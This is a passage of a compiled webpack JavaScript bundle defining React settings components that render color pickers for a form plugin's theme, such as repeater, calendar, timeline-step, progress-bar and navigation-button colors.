isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(221,221,221,.5)"),
property: (0, _utils.getThemePrefix)(this.props) + 'group-border',
label: (0, _utils.translate)('Border color'),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "rgba(170,170,170,.5)"),
property: (0, _utils.getThemePrefix)(this.props) + 'group-divider',
label: (0, _utils.translate)('Divider color'),
isAlpha: true
}))
);
}
}]);
return GroupColors;
}(_react.Component);
exports.default = GroupColors;
/***/ }),
/* 276 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _accordion = __webpack_require__(35);
var _accordion2 = _interopRequireDefault(_accordion);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var RepeaterColors = function (_Component) {
_inherits(RepeaterColors, _Component);
function RepeaterColors(props) {
_classCallCheck(this, RepeaterColors);
return _possibleConstructorReturn(this, (RepeaterColors.__proto__ || Object.getPrototypeOf(RepeaterColors)).call(this, props));
}
_createClass(RepeaterColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
'div',
{ className: 'sui-box' },
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Button')
}),
_react2.default.createElement(
_tabs2.default,
{
'default': 'default',
extraClass: 'sui-tabs-flushed',
type: 'tabs'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F8F8F8")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'hover',
label: (0, _utils.translate)('Hover')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F1F1F1")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'focus',
label: (0, _utils.translate)('Focus')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-background-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#F1F1F1")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-button-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#666666")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-border-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#AAAAAA")
}))
)
)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Icon')
}),
_react2.default.createElement(
_tabs2.default,
{
'default': 'default',
extraClass: 'sui-tabs-flushed',
type: 'tabs'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'hover',
label: (0, _utils.translate)('Hover')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'focus',
label: (0, _utils.translate)('Focus')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-icon-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#888888")
}))
)
)
),
_react2.default.createElement(
_accordion2.default,
_extends({}, this.props, {
label: (0, _utils.translate)('Link')
}),
_react2.default.createElement(
_tabs2.default,
{
'default': 'default',
extraClass: 'sui-tabs-flushed',
type: 'tabs'
},
_react2.default.createElement(
_container2.default,
{
value: 'default',
label: (0, _utils.translate)('Default')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'hover',
label: (0, _utils.translate)('Hover')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
_react2.default.createElement(
_container2.default,
{
value: 'focus',
label: (0, _utils.translate)('Focus')
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Text color'),
property: (0, _utils.getThemePrefix)(this.props) + 'repeater-link-focus',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
)
)
)
);
}
}]);
return RepeaterColors;
}(_react.Component);
exports.default = RepeaterColors;
/***/ }),
/* 277 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var CalendarColors = function (_Component) {
_inherits(CalendarColors, _Component);
function CalendarColors(props) {
_classCallCheck(this, CalendarColors);
return _possibleConstructorReturn(this, (CalendarColors.__proto__ || Object.getPrototypeOf(CalendarColors)).call(this, props));
}
_createClass(CalendarColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table head color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-dweek',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#333333"),
isAlpha: true
})),
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell border'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell border'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#DDDDDD"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Active'),
value: 'active'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell border'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Current'),
value: 'current'
},
this.props.formDesign !== 'flat' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell border'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-border-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-background-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#C8DEE7"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Table cell color'),
property: (0, _utils.getThemePrefix)(this.props) + 'calendar-days-color-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
)
);
}
}]);
return CalendarColors;
}(_react.Component);
exports.default = CalendarColors;
/***/ }),
/* 278 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
var _settingsRow = __webpack_require__(16);
var _settingsRow2 = _interopRequireDefault(_settingsRow);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var StepsColors = function (_Component) {
_inherits(StepsColors, _Component);
function StepsColors(props) {
_classCallCheck(this, StepsColors);
return _possibleConstructorReturn(this, (StepsColors.__proto__ || Object.getPrototypeOf(StepsColors)).call(this, props));
}
_createClass(StepsColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'border',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Border'),
value: 'border'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Default'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
this.props.formDesign !== 'bold' && this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Current'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-border-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Label'),
value: 'label'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Default'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-text',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Current'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-text-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Dot'),
value: 'dot'
},
_react2.default.createElement(
_settingsRow2.default,
null,
_react2.default.createElement(
'div',
{ className: 'sui-form-field' },
_react2.default.createElement(
'label',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('Default state colors')
)
),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-border',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-background',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Page number color'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-color',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_settingsRow2.default,
null,
_react2.default.createElement(
'div',
{ className: 'sui-form-field' },
_react2.default.createElement(
'label',
{ className: 'sui-settings-label sui-dark' },
(0, _utils.translate)('Current state colors')
)
),
this.props.formDesign !== 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Border'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-border-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-background-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
})),
this.props.formDesign === 'material' && _react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Page number color'),
property: (0, _utils.getThemePrefix)(this.props) + 'timeline-dot-color-current',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
)
)
);
}
}]);
return StepsColors;
}(_react.Component);
exports.default = StepsColors;
/***/ }),
/* 279 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var ProgressColors = function (_Component) {
_inherits(ProgressColors, _Component);
function ProgressColors(props) {
_classCallCheck(this, ProgressColors);
return _possibleConstructorReturn(this, (ProgressColors.__proto__ || Object.getPrototypeOf(ProgressColors)).call(this, props));
}
_createClass(ProgressColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_react2.default.Fragment,
null,
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label'),
property: (0, _utils.getThemePrefix)(this.props) + 'progress-label',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#777771")
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Progress bar BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'progress-background',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#E6E6E6"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Progress status BG'),
property: (0, _utils.getThemePrefix)(this.props) + 'progress-background-status',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#17A8E3"),
isAlpha: true
}))
);
}
}]);
return ProgressColors;
}(_react.Component);
exports.default = ProgressColors;
/***/ }),
/* 280 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var BackColors = function (_Component) {
_inherits(BackColors, _Component);
function BackColors(props) {
_classCallCheck(this, BackColors);
return _possibleConstructorReturn(this, (BackColors.__proto__ || Object.getPrototypeOf(BackColors)).call(this, props));
}
_createClass(BackColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Default'),
value: 'default'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#1ABCA1"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-static',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Hover'),
value: 'hover'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-hover',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
),
_react2.default.createElement(
_container2.default,
{
label: (0, _utils.translate)('Focus'),
value: 'focus'
},
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Background color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-background-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#159C85"),
isAlpha: true
})),
_react2.default.createElement(_colorPicker2.default, _extends({}, this.props, {
label: (0, _utils.translate)('Label color'),
property: (0, _utils.getThemePrefix)(this.props) + 'prev-color-active',
defaultValue: '' + (0, _utils.getDefaultValue)(this.props, "#FFFFFF")
}))
)
);
}
}]);
return BackColors;
}(_react.Component);
exports.default = BackColors;
/***/ }),
/* 281 */
/***/ (function(module, exports, __webpack_require__) {
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var _createClass = function () { function defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } return function (Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }();
var _react = __webpack_require__(0);
var _react2 = _interopRequireDefault(_react);
var _utils = __webpack_require__(1);
var _colorPicker = __webpack_require__(6);
var _colorPicker2 = _interopRequireDefault(_colorPicker);
var _tabs = __webpack_require__(10);
var _tabs2 = _interopRequireDefault(_tabs);
var _container = __webpack_require__(4);
var _container2 = _interopRequireDefault(_container);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }
function _possibleConstructorReturn(self, call) { if (!self) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return call && (typeof call === "object" || typeof call === "function") ? call : self; }
function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function, not " + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
var NextColors = function (_Component) {
_inherits(NextColors, _Component);
function NextColors(props) {
_classCallCheck(this, NextColors);
return _possibleConstructorReturn(this, (NextColors.__proto__ || Object.getPrototypeOf(NextColors)).call(this, props));
}
_createClass(NextColors, [{
key: 'render',
value: function render() {
return _react2.default.createElement(
_tabs2.default,
{
'default': 'default',
type: 'tabs',
extraClass: 'sui-tabs-flushed'
},
_react2.default.createElement(
